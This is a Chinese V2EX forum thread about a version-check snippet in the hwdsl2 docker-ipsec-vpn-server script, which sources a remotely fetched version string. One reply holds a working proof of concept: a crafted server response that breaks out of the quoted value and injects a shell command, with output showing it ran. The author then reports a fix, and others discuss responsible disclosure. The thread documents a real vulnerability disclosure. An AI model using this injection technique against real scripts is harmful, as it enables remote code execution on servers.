在 github 仓库 指出潜在的安全隐患后 被删 issue

2022-01-03 16:00:28 +08:00
 devliu1
在 github 和 dockerhub 看中了一个比较流行的镜像:hwdsl2/setup-ipsec-vpn 。

简单查看源码时发现作者为了提醒用户升级版本,在脚本中加入了一段代码:

https://github.com/hwdsl2/docker-ipsec-vpn-server/blob/master/run.sh#L638-L659

这段代码统计了服务器的一些信息( IP 、系统、版本),如果有 0day 爆出,作者有直接利用的可能。

另外,我怀疑这段代码可以绕过,或者在某次更新没有注意又引入了可被绕过的 bug 。

为此新开了个 issue ,作者回复后就立即关闭以及删除 issue 。

不知道大家怎么看?
7377 次点击
所在节点    GitHub
46 条回复
skiy
2022-01-03 19:23:17 +08:00
@0o0O0o0O0o 关闭 PR 我觉得可以理解。“删除 PR”的话,应该看作者的想法了。实际上“自动更新”之类的,都存在“安全隐患”。
cweijan
2022-01-03 19:30:55 +08:00
@ryd994 因为一段有可能出 bug 的代码你就对作者一顿批判, 你也是人才
liuxu
2022-01-03 20:23:16 +08:00
@2i2Re2PLMaDnghL

#17 你是对的,我给想混了,把 grep 想成管道过滤输出了,怎么在 if 里面这么想。。

按你的方法,我利用成功了

测试脚本,模仿 run.sh

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat test.sh
#!/bin/bash

swan_ver_file="/tmp/tmp_version"
swan_ver="1.2";
swan_ver_latest=$(wget -qO- "http*s://www.xxx.com/test.txt");

#echo $swan_ver_latest;
#printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$';

if printf '%s' "$swan_ver_latest" | grep -Eq '^([3-9]|[1-9][0-9]{1,2})(\.([0-9]|[1-9][0-9]{1,2})){1,2}$' \
&& [ -n "$swan_ver" ] && [ "$swan_ver" != "$swan_ver_latest" ] \
&& printf '%s\n%s' "$swan_ver" "$swan_ver_latest" | sort -C -V; then
printf '%s\n' "swan_ver_latest='$swan_ver_latest'" > "$swan_ver_file"
fi
if [ -s "$swan_ver_file" ]; then
. "$swan_ver_file"
cat <<EOF
Note: A newer version of Libreswan ($swan_ver_latest) is available.
To update this Docker image, see: http*s://git.io/updatedockervpn
EOF
fi


wget exploit 代码:

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # cat /var/www/www.xxx.com/test.txt
999.999.998'
999.999.999
echo "hello world"
zz'


执行结果:

gentoo-s-1vcpu-1gb-amd-nyc3-01 /tmp # sh ./test.sh
/tmp/tmp_version: line 2: 999.999.999: command not found
hello world
/tmp/tmp_version: line 4: zz: command not found
Note: A newer version of Libreswan (999.999.998) is available.
To update this Docker image, see: http*s://git.io/updatedockervpn


楼主的猜测没问题,如果作者想利用这个步骤攻击,可以在某个时期段注入攻击代码,然后再恢复正常,很难被人发现,唯一可控的就是 docker 环境隔离了宿主机

但考虑到是 vpn ,存在被利用搭建管道,建议不要使用
devliu1
2022-01-03 21:04:46 +08:00
@2i2Re2PLMaDnghL @liuxu 感谢两位提供的思路和 poc ,我也忽略了 grep -q ,这也是我为什么提出,有“潜在”的安全风险。
@skiy 我宁愿相信作者的本意是统计用途,我也只是指出可能存在的问题,被删除实在难免有此地无银的嫌疑。

所以我选择发帖提醒,并且选择不使用该作者的代码。

再次感谢大家
hxse
2022-01-03 21:25:06 +08:00
关闭 issue 可以理解, 但不该删除, 这确实是道德问题, 建议去 reddit 曝光
kaedea
2022-01-03 21:35:10 +08:00
🌚 以防万一应该先向工信部报告
devliu1
2022-01-03 21:37:43 +08:00
@hxse 这个仓库应该国人用的多,也就 v2 发发牢骚了。
@kaedea 搞不好还是登子的阴谋
Felldeadbird
2022-01-03 22:49:15 +08:00
楼主这个出发点 OK 啊! 我站在作者角度看,一般这个是用来做版本碎片统计用。但是用来做攻击这种角度还真的可以!

对于删除 ISSEU 这个,不太清楚。楼主试下以邮件形式询问?
hs0000t
2022-01-04 01:20:57 +08:00
感谢楼主排雷!
ryd994
2022-01-04 04:47:07 +08:00
@liuxu 感谢你的验证。我这么快就说作者有问题还有另一个原因:这里完全没有必要用 source 。

他已经有了 swan_ver_latest 。完全可以简单地 if [ "$swan_ver_latest" == "expected version" ]
如果想设置全局变量完全可以 export swan_ver_latest=$swan_ver_latest 或者类似物。
想缓存结果也可以直接存到文件,之后再从文件里读一下就完事了。反正 docker 里就这一个程序。一个变量存一个文件也无不可。

而且这查程序版本号这点小事,只要能用好缓存和静态化等功能,服务器上的负载微乎其微。以大多数人的程序流行度,还远不到需要担心服务器性能的程度。

在这脱裤子放屁写这三行,可以说纯粹就是为了用 source ,非蠢即坏。永远不要随便 eval 外部可以控制的数据,这应该是铁则。何况这个 eval 还毫无必要。

我提到 SQL 只是 SQL 注入问题比较常见。希望大家想到注入问题而已。对于 SQL parameterized queries 就是为了解决这个问题,而各大 SQL 软件的手册上都提醒:最简单的办法就是用好 parameterized queries ,别自己设计一套输入验证或者 escaping ,因为自己实现的防注入验证太容易有漏洞了。


@cweijan 为什么不应该批判一番?这些问题我在上学的时候就知道注意了。一个学生都写不出这样的 bug 。SRE 在谷歌是什么?简单来说就是运维。当然实际工作范围要比运维大一点。
换句话说,bash 对他应当是工作内容的一部分,是每天要用的东西。而类似的 bug ,是否还存在于他其他的代码里?如果存在,那他的同事在 code review 中是否指出过?还是说指出过,但他没有改?

好,谁不犯错呢?不小心写了个 bug 也没啥。但是人家都给你指出来了,直接关 issue 这是几个意思?自己往简历 /LinkedIn 上写的项目,用来找工作的项目,能不能上点心?

就像我上面所说:这是一个 G 家 SRE 应有的水平和态度吗?我很失望。
hwdsl2
2022-01-04 07:07:15 +08:00
大家好,我是该 GitHub 仓库的作者。首先感谢大家的讨论,尤其是 @devliu1 @liuxu @2i2Re2PLMaDnghL 指出潜在的安全问题。在这里要说明一下。以上 @liuxu 引用的该部分代码的用途仅为检查新的受支持的 Libreswan 版本以及版本统计。swan_ver_url 是在 AWS S3 上的静态网站,该 URL 返回的值仅为 Libreswan 版本号本身(比如 4.5 )。

该代码已经包含验证,以确保返回的值为有效的版本号。上面 @liuxu @2i2Re2PLMaDnghL 指出的潜在的安全问题之前并没有考虑到,我已在最新的 commit b01c7d8 修复。它已包含在最新版本的 Docker 镜像中。

欢迎大家提出其它改进的建议。因为 GitHub Issues 是公共区域,有关安全的问题请不要创建 Issue ,可以直接与我邮件联系。
bxb100
2022-01-04 08:29:09 +08:00
楼主和 @ryd994 真的赞,希望这样的事不会影响你们对来源代码的审计
momocraft
2022-01-04 08:52:07 +08:00
公开就能被利用的安全漏洞需要保密
公开了旁人也无法利用的漏洞也要这样吗?
lance6716
2022-01-04 09:04:41 +08:00
记得我们 repo 里面建 issue 的时候,会根据类别选择不同模板。安全问题是直接引导到邮件的,不是直接建 issue
zouzou0208
2022-01-04 09:11:27 +08:00
安全问题邮件联系好一些。
liuxu
2022-01-04 09:31:27 +08:00
@2i2Re2PLMaDnghL
@hwdsl2

最新的 commit grep 前 head 版本返回第一行,grep 进行单行验证,我这边验证没安全问题了

https://github.com/hwdsl2/docker-ipsec-vpn-server/commit/b01c7d8951cc9c797791b96ff1bfd46ac336862b
ryd994
2022-01-04 10:00:07 +08:00
@hwdsl2 更好的办法是 grep -o ,同时 grep pattern 严格限制数字字符。这样可以最小化暴露面
ryd994
2022-01-04 10:02:33 +08:00
@momocraft 表面上旁人无法利用,实际上可能被结合其他漏洞利用。比如不安全的 CA 。
不是必须有 poc 才叫 vulnerability 。
邮件保密可以,但是关闭 issue 之前应当说明理由。关闭之后应当及时私下 follow up 。
hackerwgf
2022-01-04 10:31:50 +08:00
这他娘的才是我想逛的 V2
SuperMaxine
2022-01-04 10:55:28 +08:00
挺正常的,有经验的开发者都会要求 security 问题 e-mail 交流,在 issue 里提变相等于公开漏洞了

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/825909

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX